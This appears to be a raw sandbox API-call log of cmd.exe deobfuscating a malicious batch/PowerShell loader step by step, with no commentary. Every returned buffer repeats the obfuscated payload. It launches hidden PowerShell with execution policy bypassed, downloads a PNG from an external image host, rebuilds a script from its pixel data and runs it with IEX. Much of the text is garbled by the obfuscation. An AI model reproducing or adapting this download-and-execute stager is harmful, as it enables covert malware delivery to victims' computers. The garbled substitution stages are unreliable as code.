Zn10..H'+'2('+'))\\f66pBBk'+'t'+'taKf66pBBkds.aEe'+'ttyZ7el1f66pBBk7,'+'f6'+'6pBBk_'+')[f66pBBkmk'+'{f66pBBk'+'_*H28+f66pBBk7PjyaK1{matTzEhPjy::zEh'+'lo'+'o]11f66'+'pBBktt.B-3k9andDn5)*Dn6)-3k9o]'+'1f66pBBkt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{jh`st'+'em.Te7'+'t.E'+'ncodZn'+'g'+'Pjy::AjhCII.'+'aEetjh'+'t]Zng1f66'+'pBBk'+'mk{0.'+'.'+'Dn'+'90('+'Pjy)'+')').ReplaCE1'9a7',{sTRInaEPjy{CTzEhA]Pjy#H).ReplaCE11{CTzEhA]Pjy98+{CTzEhA]Pjy8#+{CTzEhA]PjyDn06),{sTRInaEPjy{CTzEhA]PjyDn2H).ReplaCE11{CTzEhA]PjyDnDn8+{CTzEhA]Pjy5H+{CTzEhA]Pjy8Dn),{sTRInaEPjy{CTzEhA]Pjy#6))^&^& seT aDI/`aKEcTzEhPj 1gZ f6aRIA3k9le:e*Xt).VaLuE.Inf6PjkEComBkanD.Iqf6NVPjkesCRZtyT11Ljh eqf6NV:s3L]V).f6aL3e ) ^^^|tyPj4ERsheZVElL -noqf6NZqf6NTE]aCTI -qf6NolPj -4Zqf6N TzEhIdden -e7ecuTIPjqf6NpPjLIc 3k9`tyAjhjh -nPjty]PjzEhIle -CPjmBkAqf6Nd ^^^^^^^&1 @eqf6NV:Comstyec{H,2H,25Pjy-JoIn'')1@ZnpuT ) ^&^& cmd.e7E cgc %adZ/Y%") returned 0x55a [0102.387] GetConsoleTitleW (in: lpConsoleTitle=0x12e590, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.387] wcsncmp (_String1="~\\", _String2="/", _MaxCount=0x4) returned 79 [0102.394] GetEnvironmentVariableW (in: lpName="~\\", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suL]f6aK. 1 @sheZVelLId{DnOy+@sTzEhELlId{Dn#Oy+'X') 11's'+'al f'+']'+' qf6N'+'e4-O3k9heZec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qf6Name 9a7jh`stem.D]a'+'4'+'Zng9a7['+'f66pBBkds'+'aKf] jh`ste'+'m.'+'D]a4Zn'+'g.B'+'Ztmap11f] qf6Net.W'+'e3k9C'+'lZent).'+'OpenRead19a'+'7'+'TzEhttps:cgcgZmag'+'es2.Zmg3k9o'+'7.co'+'mcg90cgfDncg'+'gat2BkVsK_o.'+'png9a7'+'))['+'f66pBBk'+'mkaKf] B`'+'t'+'e{Oy '+'2DnH0[10.'+'.H)3k9'+'jh'+'heZ%\\fo]eacTzEh1'+'f6'+'6'+'pBBk7 Zn10..H'+'2('+'))\\f66pBBk'+'t'+'taKf66pBBkds.aEe'+'ttyZ7el1f66pBBk7,'+'f6'+'6pBBk_'+')[f66pBBkmk'+'{f66pBBk'+'_*H28+f66pBBk7OyaK1{matTzEhOy::zEh'+'lo'+'o]11f66'+'pBBktt.B-3k9andDn5)*Dn6)-3k9o]'+'1f66pBBkt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{jh`st'+'em.Te7'+'t.E'+'ncodZn'+'g'+'Oy::AjhCII.'+'aEetjh'+'t]Zng1f66'+'pBBk'+'mk{0.'+'.'+'Dn'+'90('+'Oy)'+')').ReplaCE1'9a7',{sTRInaEOy{CTzEhA]Oy#H).ReplaCE11{CTzEhA]Oy98+{CTzEhA]Oy8#+{CTzEhA]OyDn06),{sTRInaEOy{CTzEhA]OyDn2H).ReplaCE11{CTzEhA]OyDnDn8+{CTzEhA]Oy5H+{CTzEhA]Oy8Dn),{sTRInaEOy{CTzEhA]Oy#6))^&^& seT aDI/`aKEcTzEhO 1gZ f6aRIA3k9le:e*Xt).VaLuE.Inf6OkEComBkanD.Iqf6NVOkesCRZtyT11Ljh eqf6NV:s3L]V).f6aL3e ) ^^^|tyO4ERsheZVElL -noqf6NZqf6NTE]aCTI -qf6NolO -4Zqf6N TzEhIdden -e7ecuTIOqf6NpOLIc 3k9`tyAjhjh -nOty]OzEhIle -COmBkAqf6Nd ^^^^^^^&1 @eqf6NV:Comstyec{H,2H,25Oy-JoIn'')1@ZnpuT ) ^&^& cmd.e7E cgc %adZ/Y%") returned 0x53a [0102.395] GetConsoleTitleW (in: lpConsoleTitle=0x12e650, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.395] wcsncmp (_String1="\\", _String2="/", _MaxCount=0x4) returned 45 [0102.406] GetEnvironmentVariableW (in: lpName="\\,", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suL]f6aK. 1 @sheZVelLId{DnOy+@sTFELlId{Dn#Oy+'X') 11's'+'al f'+']'+' qf6N'+'e4-O3k9heZec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qf6Name 9a7jh`stem.D]a'+'4'+'Zng9a7['+'f66pBBkds'+'aKf] jh`ste'+'m.'+'D]a4Zn'+'g.B'+'Ztmap11f] qf6Net.W'+'e3k9C'+'lZent).'+'OpenRead19a'+'7'+'TFttps:cgcgZmag'+'es2.Zmg3k9o'+'7.co'+'mcg90cgfDncg'+'gat2BkVsK_o.'+'png9a7'+'))['+'f66pBBk'+'mkaKf] B`'+'t'+'e{Oy '+'2DnH0[10.'+'.H)3k9'+'jh'+'heZ%\\fo]eacTF1'+'f6'+'6'+'pBBk7 Zn10..H'+'2('+'))\\f66pBBk'+'t'+'taKf66pBBkds.aEe'+'ttyZ7el1f66pBBk7,'+'f6'+'6pBBk_'+')[f66pBBkmk'+'{f66pBBk'+'_*H28+f66pBBk7OyaK1{matTFOy::F'+'lo'+'o]11f66'+'pBBktt.B-3k9andDn5)*Dn6)-3k9o]'+'1f66pBBkt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{jh`st'+'em.Te7'+'t.E'+'ncodZn'+'g'+'Oy::AjhCII.'+'aEetjh'+'t]Zng1f66'+'pBBk'+'mk{0.'+'.'+'Dn'+'90('+'Oy)'+')').ReplaCE1'9a7',{sTRInaEOy{CTFA]Oy#H).ReplaCE11{CTFA]Oy98+{CTFA]Oy8#+{CTFA]OyDn06),{sTRInaEOy{CTFA]OyDn2H).ReplaCE11{CTFA]OyDnDn8+{CTFA]Oy5H+{CTFA]Oy8Dn),{sTRInaEOy{CTFA]Oy#6))^&^& seT aDI/`aKEcTFO 1gZ f6aRIA3k9le:e*Xt).VaLuE.Inf6OkEComBkanD.Iqf6NVOkesCRZtyT11Ljh eqf6NV:s3L]V).f6aL3e ) ^^^|tyO4ERsheZVElL -noqf6NZqf6NTE]aCTI -qf6NolO -4Zqf6N TFIdden -e7ecuTIOqf6NpOLIc 3k9`tyAjhjh -nOty]OFIle -COmBkAqf6Nd ^^^^^^^&1 @eqf6NV:Comstyec{H,2H,25Oy-JoIn'')1@ZnpuT ) ^&^& cmd.e7E cgc %adZ/Y%") returned 0x518 [0102.409] GetConsoleTitleW (in: lpConsoleTitle=0x12e500, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.410] wcsncmp (_String1="`[+", _String2="/", _MaxCount=0x4) returned 49 [0102.413] GetEnvironmentVariableW (in: lpName="`[+", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suL]f6aK. 1 @sheiVelLId{DnOy+@sTFELlId{Dn#Oy+'X') 11's'+'al f'+']'+' qf6N'+'e4-O3k9heiec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qf6Name 9a7jh`stem.D]a'+'4'+'ing9a7['+'f66pBBkds'+'aKf] jh`ste'+'m.'+'D]a4in'+'g.B'+'itmap11f] qf6Net.W'+'e3k9C'+'lient).'+'OpenRead19a'+'7'+'TFttps:cgcgimag'+'es2.img3k9o'+'7.co'+'mcg90cgfDncg'+'gat2BkVsK_o.'+'png9a7'+'))['+'f66pBBk'+'mkaKf] B`'+'t'+'e{Oy '+'2DnH0[10.'+'.H)3k9'+'jh'+'hei%\\fo]eacTF1'+'f6'+'6'+'pBBk7 in10..H'+'2('+'))\\f66pBBk'+'t'+'taKf66pBBkds.aEe'+'ttyi7el1f66pBBk7,'+'f6'+'6pBBk_'+')[f66pBBkmk'+'{f66pBBk'+'_*H28+f66pBBk7OyaK1{matTFOy::F'+'lo'+'o]11f66'+'pBBktt.B-3k9andDn5)*Dn6)-3k9o]'+'1f66pBBkt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{jh`st'+'em.Te7'+'t.E'+'ncodin'+'g'+'Oy::AjhCII.'+'aEetjh'+'t]ing1f66'+'pBBk'+'mk{0.'+'.'+'Dn'+'90('+'Oy)'+')').ReplaCE1'9a7',{sTRInaEOy{CTFA]Oy#H).ReplaCE11{CTFA]Oy98+{CTFA]Oy8#+{CTFA]OyDn06),{sTRInaEOy{CTFA]OyDn2H).ReplaCE11{CTFA]OyDnDn8+{CTFA]Oy5H+{CTFA]Oy8Dn),{sTRInaEOy{CTFA]Oy#6))^&^& seT aDI/`aKEcTFO 1gi f6aRIA3k9le:e*Xt).VaLuE.Inf6OkEComBkanD.Iqf6NVOkesCRityT11Ljh eqf6NV:s3L]V).f6aL3e ) ^^^|tyO4ERsheiVElL -noqf6Niqf6NTE]aCTI -qf6NolO -4iqf6N TFIdden -e7ecuTIOqf6NpOLIc 3k9`tyAjhjh -nOty]OFIle -COmBkAqf6Nd ^^^^^^^&1 @eqf6NV:Comstyec{H,2H,25Oy-JoIn'')1@inpuT ) ^&^& cmd.e7E cgc %adi/Y%") returned 0x518 [0102.417] GetConsoleTitleW (in: lpConsoleTitle=0x12e440, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.417] wcsncmp (_String1=".*#", _String2="/", _MaxCount=0x4) returned -1 [0102.422] GetEnvironmentVariableW (in: lpName=".*#", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suL]f6aK. 1 @sheiVelLId{DnOy+@sTFELlId{Dn#Oy+'X') 11's'+'al f'+']'+' qf6N'+'e4-O3k9heiec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qf6Name 9a7jh`stem.D]a'+'4'+'ing9a7['+'f66pBBkds'+'aKf] jh`ste'+'m.'+'D]a4in'+'g.B'+'itmap11f] qf6Net.W'+'e3k9C'+'lient).'+'OpenRead19a'+'7'+'TFttps:cgcgimag'+'es2.img3k9o'+'7.co'+'mcg90cgfDncg'+'gat2BkVsK_o.'+'png9a7'+'))['+'f66pBBk'+'mkaKf] B`'+'t'+'e{Oy '+'2DnH0[10.'+'.H)3k9'+'jh'+'hei%\\fo]eacTF1'+'f6'+'6'+'pBBk7 in10..H'+'2('+'))\\f66pBBk'+'t'+'taKf66pBBkds.aEe'+'ttyi7el1f66pBBk7,'+'f6'+'6pBBk_'+')[f66pBBkmk'+'{f66pBBk'+'_*H28+f66pBBk7OyaK1{matTFOy::F'+'lo'+'o]11f66'+'pBBktt.B-3k9andDn5)*Dn6)-3k9o]'+'1f66pBBkt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{jh`st'+'em.Te7'+'t.E'+'ncodin'+'g'+'Oy::AjhCII.'+'aEetjh'+'t]ing1f66'+'pBBk'+'mk{0.'+'.'+'Dn'+'90('+'Oy)'+')').ReplaCE1'9a7',{sTRInaEOy{CTFA]Oy#H).ReplaCE11{CTFA]Oy98+{CTFA]Oy8#+{CTFA]OyDn06),{sTRInaEOy{CTFA]OyDn2H).ReplaCE11{CTFA]OyDnDn8+{CTFA]Oy5H+{CTFA]Oy8Dn),{sTRInaEOy{CTFA]Oy#6))^&^& seT aDIz`aKEcTFO 1gi f6aRIA3k9le:e*Xt).VaLuE.Inf6OkEComBkanD.Iqf6NVOkesCRityT11Ljh eqf6NV:s3L]V).f6aL3e ) ^^^|tyO4ERsheiVElL -noqf6Niqf6NTE]aCTI -qf6NolO -4iqf6N TFIdden -e7ecuTIOqf6NpOLIc 3k9`tyAjhjh -nOty]OFIle -COmBkAqf6Nd ^^^^^^^&1 @eqf6NV:Comstyec{H,2H,25Oy-JoIn'')1@inpuT ) ^&^& cmd.e7E cgc %adizY%") returned 0x518 [0102.424] GetConsoleTitleW (in: lpConsoleTitle=0x12e410, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.432] wcsncmp (_String1="@", _String2="/", _MaxCount=0x4) returned 17 [0102.439] GetEnvironmentVariableW (in: lpName="@;?#", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suL]f6aK. 1 @sheiVelLId{DnOy+@sTFELlId{Dn#Oy+'X') 11's'+'al f'+']'+' qf6N'+'e4-O3k9heiec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qf6Name 9a7jh`stem.D]a'+'4'+'ing9a7['+'f66pBBkds'+'aKf] jh`ste'+'m.'+'D]a4in'+'g.B'+'itmap11f] qf6Net.W'+'e3k9C'+'lient).'+'OpenRead19a'+'7'+'TFttps://imag'+'es2.img3k9o'+'7.co'+'m/90/fDn/'+'gat2BkVsK_o.'+'png9a7'+'))['+'f66pBBk'+'mkaKf] B`'+'t'+'e{Oy '+'2DnH0[10.'+'.H)3k9'+'jh'+'hei%\\fo]eacTF1'+'f6'+'6'+'pBBk7 in10..H'+'2('+'))\\f66pBBk'+'t'+'taKf66pBBkds.aEe'+'ttyi7el1f66pBBk7,'+'f6'+'6pBBk_'+')[f66pBBkmk'+'{f66pBBk'+'_*H28+f66pBBk7OyaK1{matTFOy::F'+'lo'+'o]11f66'+'pBBktt.B-3k9andDn5)*Dn6)-3k9o]'+'1f66pBBkt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{jh`st'+'em.Te7'+'t.E'+'ncodin'+'g'+'Oy::AjhCII.'+'aEetjh'+'t]ing1f66'+'pBBk'+'mk{0.'+'.'+'Dn'+'90('+'Oy)'+')').ReplaCE1'9a7',{sTRInaEOy{CTFA]Oy#H).ReplaCE11{CTFA]Oy98+{CTFA]Oy8#+{CTFA]OyDn06),{sTRInaEOy{CTFA]OyDn2H).ReplaCE11{CTFA]OyDnDn8+{CTFA]Oy5H+{CTFA]Oy8Dn),{sTRInaEOy{CTFA]Oy#6))^&^& seT aDIz`aKEcTFO 1gi f6aRIA3k9le:e*Xt).VaLuE.Inf6OkEComBkanD.Iqf6NVOkesCRityT11Ljh eqf6NV:s3L]V).f6aL3e ) ^^^|tyO4ERsheiVElL -noqf6Niqf6NTE]aCTI -qf6NolO -4iqf6N TFIdden -e7ecuTIOqf6NpOLIc 3k9`tyAjhjh -nOty]OFIle -COmBkAqf6Nd ^^^^^^^&1 @eqf6NV:Comstyec{H,2H,25Oy-JoIn'')1@inpuT ) ^&^& cmd.e7E /c %adizY%") returned 0x512 [0102.439] GetConsoleTitleW (in: lpConsoleTitle=0x12e2c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.440] wcsncmp (_String1="@$[", _String2="/", _MaxCount=0x4) returned 17 [0102.444] GetEnvironmentVariableW (in: lpName=",@$[", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suL]f6aK. 1 @sheiVelLId{DnOy+@sTFELlId{Dn#Oy+'X') 11's'+'al f'+']'+' qf6N'+'e4-O3k9heiec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qf6Name 9a7S`stem.D]a'+'4'+'ing9a7['+'f66pBBkds'+'aKf] S`ste'+'m.'+'D]a4in'+'g.B'+'itmap11f] qf6Net.W'+'e3k9C'+'lient).'+'OpenRead19a'+'7'+'TFttps://imag'+'es2.img3k9o'+'7.co'+'m/90/fDn/'+'gat2BkVsK_o.'+'png9a7'+'))['+'f66pBBk'+'mkaKf] B`'+'t'+'e{Oy '+'2DnH0[10.'+'.H)3k9'+'S'+'hei%\\fo]eacTF1'+'f6'+'6'+'pBBk7 in10..H'+'2('+'))\\f66pBBk'+'t'+'taKf66pBBkds.aEe'+'ttyi7el1f66pBBk7,'+'f6'+'6pBBk_'+')[f66pBBkmk'+'{f66pBBk'+'_*H28+f66pBBk7OyaK1{matTFOy::F'+'lo'+'o]11f66'+'pBBktt.B-3k9andDn5)*Dn6)-3k9o]'+'1f66pBBkt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{S`st'+'em.Te7'+'t.E'+'ncodin'+'g'+'Oy::ASCII.'+'aEetS'+'t]ing1f66'+'pBBk'+'mk{0.'+'.'+'Dn'+'90('+'Oy)'+')').ReplaCE1'9a7',{sTRInaEOy{CTFA]Oy#H).ReplaCE11{CTFA]Oy98+{CTFA]Oy8#+{CTFA]OyDn06),{sTRInaEOy{CTFA]OyDn2H).ReplaCE11{CTFA]OyDnDn8+{CTFA]Oy5H+{CTFA]Oy8Dn),{sTRInaEOy{CTFA]Oy#6))^&^& seT aDIz`aKEcTFO 1gi f6aRIA3k9le:e*Xt).VaLuE.Inf6OkEComBkanD.Iqf6NVOkesCRityT11LS eqf6NV:s3L]V).f6aL3e ) ^^^|tyO4ERsheiVElL -noqf6Niqf6NTE]aCTI -qf6NolO -4iqf6N TFIdden -e7ecuTIOqf6NpOLIc 3k9`tyASS -nOty]OFIle -COmBkAqf6Nd ^^^^^^^&1 @eqf6NV:Comstyec{H,2H,25Oy-JoIn'')1@inpuT ) ^&^& cmd.e7E /c %adizY%") returned 0x509 [0102.447] GetConsoleTitleW (in: lpConsoleTitle=0x12e320, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.447] wcsncmp (_String1="{$_", _String2="/", _MaxCount=0x4) returned 76 [0102.453] GetEnvironmentVariableW (in: lpName="{$_", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suL]f6aK. 1 @sheiVelLId{DnOy+@sTFELlId{Dn#Oy+'X') 11's'+'al f'+']'+' qf6N'+'e4-O3k9heiec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qf6Name 9a7S`stem.D]a'+'4'+'ing9a7['+'f66pBMds'+'aKf] S`ste'+'m.'+'D]a4in'+'g.B'+'itmap11f] qf6Net.W'+'e3k9C'+'lient).'+'OpenRead19a'+'7'+'TFttps://imag'+'es2.img3k9o'+'7.co'+'m/90/fDn/'+'gat2MVsK_o.'+'png9a7'+'))['+'f66pBM'+'mkaKf] B`'+'t'+'e{Oy '+'2DnH0[10.'+'.H)3k9'+'S'+'hei%\\fo]eacTF1'+'f6'+'6'+'pBM7 in10..H'+'2('+'))\\f66pBM'+'t'+'taKf66pBMds.aEe'+'ttyi7el1f66pBM7,'+'f6'+'6pBM_'+')[f66pBMmk'+'{f66pBM'+'_*H28+f66pBM7OyaK1{matTFOy::F'+'lo'+'o]11f66'+'pBMtt.B-3k9andDn5)*Dn6)-3k9o]'+'1f66pBMt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{S`st'+'em.Te7'+'t.E'+'ncodin'+'g'+'Oy::ASCII.'+'aEetS'+'t]ing1f66'+'pBM'+'mk{0.'+'.'+'Dn'+'90('+'Oy)'+')').ReplaCE1'9a7',{sTRInaEOy{CTFA]Oy#H).ReplaCE11{CTFA]Oy98+{CTFA]Oy8#+{CTFA]OyDn06),{sTRInaEOy{CTFA]OyDn2H).ReplaCE11{CTFA]OyDnDn8+{CTFA]Oy5H+{CTFA]Oy8Dn),{sTRInaEOy{CTFA]Oy#6))^&^& seT aDIz`aKEcTFO 1gi f6aRIA3k9le:e*Xt).VaLuE.Inf6OkEComManD.Iqf6NVOkesCRityT11LS eqf6NV:s3L]V).f6aL3e ) ^^^|tyO4ERsheiVElL -noqf6Niqf6NTE]aCTI -qf6NolO -4iqf6N TFIdden -e7ecuTIOqf6NpOLIc 3k9`tyASS -nOty]OFIle -COmMAqf6Nd ^^^^^^^&1 @eqf6NV:Comstyec{H,2H,25Oy-JoIn'')1@inpuT ) ^&^& cmd.e7E /c %adizY%") returned 0x4f9 [0102.456] GetConsoleTitleW (in: lpConsoleTitle=0x12e260, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.457] wcsncmp (_String1="'`#", _String2="/", _MaxCount=0x4) returned -8 [0102.461] GetEnvironmentVariableW (in: lpName="'`#", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suL]vaK. 1 @sheiVelLId{DnOy+@sTFELlId{Dn#Oy+'X') 11's'+'al f'+']'+' qvN'+'e4-O3k9heiec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qvName 9a7S`stem.D]a'+'4'+'ing9a7['+'v6pBMds'+'aKf] S`ste'+'m.'+'D]a4in'+'g.B'+'itmap11f] qvNet.W'+'e3k9C'+'lient).'+'OpenRead19a'+'7'+'TFttps://imag'+'es2.img3k9o'+'7.co'+'m/90/fDn/'+'gat2MVsK_o.'+'png9a7'+'))['+'v6pBM'+'mkaKf] B`'+'t'+'e{Oy '+'2DnH0[10.'+'.H)3k9'+'S'+'hei%\\fo]eacTF1'+'v'+'6'+'pBM7 in10..H'+'2('+'))\\v6pBM'+'t'+'taKv6pBMds.aEe'+'ttyi7el1v6pBM7,'+'v'+'6pBM_'+')[v6pBMmk'+'{v6pBM'+'_*H28+v6pBM7OyaK1{matTFOy::F'+'lo'+'o]11v6'+'pBMtt.B-3k9andDn5)*Dn6)-3k9o]'+'1v6pBMt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{S`st'+'em.Te7'+'t.E'+'ncodin'+'g'+'Oy::ASCII.'+'aEetS'+'t]ing1v6'+'pBM'+'mk{0.'+'.'+'Dn'+'90('+'Oy)'+')').ReplaCE1'9a7',{sTRInaEOy{CTFA]Oy#H).ReplaCE11{CTFA]Oy98+{CTFA]Oy8#+{CTFA]OyDn06),{sTRInaEOy{CTFA]OyDn2H).ReplaCE11{CTFA]OyDnDn8+{CTFA]Oy5H+{CTFA]Oy8Dn),{sTRInaEOy{CTFA]Oy#6))^&^& seT aDIz`aKEcTFO 1gi vaRIA3k9le:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRityT11LS eqvNV:s3L]V).vaL3e ) ^^^|tyO4ERsheiVElL -noqvNiqvNTE]aCTI -qvNolO -4iqvN TFIdden -e7ecuTIOqvNpOLIc 3k9`tyASS -nOty]OFIle -COmMAqvNd ^^^^^^^&1 @eqvNV:Comstyec{H,2H,25Oy-JoIn'')1@inpuT ) ^&^& cmd.e7E /c %adizY%") returned 0x4dc [0102.465] GetConsoleTitleW (in: lpConsoleTitle=0x12dfc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.473] GetEnvironmentVariableW (in: lpName="}\\?", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suLrvaK. 1 @sheiVelLId{DnOy+@sTFELlId{Dn#Oy+'X') 11's'+'al f'+'r'+' qvN'+'e4-O3k9heiec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qvName 9a7S`stem.Dra'+'4'+'ing9a7['+'v6pBMds'+'aKfr S`ste'+'m.'+'Dra4in'+'g.B'+'itmap11fr qvNet.W'+'e3k9C'+'lient).'+'OpenRead19a'+'7'+'TFttps://imag'+'es2.img3k9o'+'7.co'+'m/90/fDn/'+'gat2MVsK_o.'+'png9a7'+'))['+'v6pBM'+'mkaKfr B`'+'t'+'e{Oy '+'2DnH0[10.'+'.H)3k9'+'S'+'hei%\\foreacTF1'+'v'+'6'+'pBM7 in10..H'+'2('+'))\\v6pBM'+'t'+'taKv6pBMds.aEe'+'ttyi7el1v6pBM7,'+'v'+'6pBM_'+')[v6pBMmk'+'{v6pBM'+'_*H28+v6pBM7OyaK1{matTFOy::F'+'lo'+'or11v6'+'pBMtt.B-3k9andDn5)*Dn6)-3k9or'+'1v6pBMt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{S`st'+'em.Te7'+'t.E'+'ncodin'+'g'+'Oy::ASCII.'+'aEetS'+'tring1v6'+'pBM'+'mk{0.'+'.'+'Dn'+'90('+'Oy)'+')').ReplaCE1'9a7',{sTRInaEOy{CTFArOy#H).ReplaCE11{CTFArOy98+{CTFArOy8#+{CTFArOyDn06),{sTRInaEOy{CTFArOyDn2H).ReplaCE11{CTFArOyDnDn8+{CTFArOy5H+{CTFArOy8Dn),{sTRInaEOy{CTFArOy#6))^&^& seT aDIz`aKEcTFO 1gi vaRIA3k9le:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRityT11LS eqvNV:s3LrV).vaL3e ) ^^^|tyO4ERsheiVElL -noqvNiqvNTEraCTI -qvNolO -4iqvN TFIdden -e7ecuTIOqvNpOLIc 3k9`tyASS -nOtyrOFIle -COmMAqvNd ^^^^^^^&1 @eqvNV:Comstyec{H,2H,25Oy-JoIn'')1@inpuT ) ^&^& cmd.e7E /c %adizY%") returned 0x4dc [0102.473] GetConsoleTitleW (in: lpConsoleTitle=0x12e050, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.487] GetEnvironmentVariableW (in: lpName="{;", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suLrvaK. 1 @sheiVelLId{DnOy+@sTFELlId{Dn#Oy+'X') 11's'+'al f'+'r'+' qvN'+'e4-O3k9heiec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qvName 9axS`stem.Dra'+'4'+'ing9ax['+'v6pBMds'+'aKfr S`ste'+'m.'+'Dra4in'+'g.B'+'itmap11fr qvNet.W'+'e3k9C'+'lient).'+'OpenRead19a'+'x'+'TFttps://imag'+'es2.img3k9o'+'x.co'+'m/90/fDn/'+'gat2MVsK_o.'+'png9ax'+'))['+'v6pBM'+'mkaKfr B`'+'t'+'e{Oy '+'2DnH0[10.'+'.H)3k9'+'S'+'hei%\\foreacTF1'+'v'+'6'+'pBMx in10..H'+'2('+'))\\v6pBM'+'t'+'taKv6pBMds.aEe'+'ttyixel1v6pBMx,'+'v'+'6pBM_'+')[v6pBMmk'+'{v6pBM'+'_*H28+v6pBMxOyaK1{matTFOy::F'+'lo'+'or11v6'+'pBMtt.B-3k9andDn5)*Dn6)-3k9or'+'1v6pBMt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+'Oy::ASCII.'+'aEetS'+'tring1v6'+'pBM'+'mk{0.'+'.'+'Dn'+'90('+'Oy)'+')').ReplaCE1'9ax',{sTRInaEOy{CTFArOy#H).ReplaCE11{CTFArOy98+{CTFArOy8#+{CTFArOyDn06),{sTRInaEOy{CTFArOyDn2H).ReplaCE11{CTFArOyDnDn8+{CTFArOy5H+{CTFArOy8Dn),{sTRInaEOy{CTFArOy#6))^&^& seT aDIz`aKEcTFO 1gi vaRIA3k9le:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRityT11LS eqvNV:s3LrV).vaL3e ) ^^^|tyO4ERsheiVElL -noqvNiqvNTEraCTI -qvNolO -4iqvN TFIdden -execuTIOqvNpOLIc 3k9`tyASS -nOtyrOFIle -COmMAqvNd ^^^^^^^&1 @eqvNV:Comstyec{H,2H,25Oy-JoIn'')1@inpuT ) ^&^& cmd.exE /c %adizY%") returned 0x4dc [0102.488] GetConsoleTitleW (in: lpConsoleTitle=0x12e020, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.531] GetEnvironmentVariableW (in: lpName="`}$@", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suLrvaK. 1 @sheiVelLId{Dn]+@sTFELlId{Dn#]+'X') 11's'+'al f'+'r'+' qvN'+'e4-O3k9heiec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qvName 9axS`stem.Dra'+'4'+'ing9ax['+'v6pBMds'+'aKfr S`ste'+'m.'+'Dra4in'+'g.B'+'itmap11fr qvNet.W'+'e3k9C'+'lient).'+'OpenRead19a'+'x'+'TFttps://imag'+'es2.img3k9o'+'x.co'+'m/90/fDn/'+'gat2MVsK_o.'+'png9ax'+'))['+'v6pBM'+'mkaKfr B`'+'t'+'e{] '+'2DnH0[10.'+'.H)3k9'+'S'+'hei%\\foreacTF1'+'v'+'6'+'pBMx in10..H'+'2('+'))\\v6pBM'+'t'+'taKv6pBMds.aEe'+'ttyixel1v6pBMx,'+'v'+'6pBM_'+')[v6pBMmk'+'{v6pBM'+'_*H28+v6pBMx]aK1{matTF]::F'+'lo'+'or11v6'+'pBMtt.B-3k9andDn5)*Dn6)-3k9or'+'1v6pBMt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'aEetS'+'tring1v6'+'pBM'+'mk{0.'+'.'+'Dn'+'90('+'])'+')').ReplaCE1'9ax',{sTRInaE]{CTFAr]#H).ReplaCE11{CTFAr]98+{CTFAr]8#+{CTFAr]Dn06),{sTRInaE]{CTFAr]Dn2H).ReplaCE11{CTFAr]DnDn8+{CTFAr]5H+{CTFAr]8Dn),{sTRInaE]{CTFAr]#6))^&^& seT aDIz`aKEcTFO 1gi vaRIA3k9le:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRityT11LS eqvNV:s3LrV).vaL3e ) ^^^|tyO4ERsheiVElL 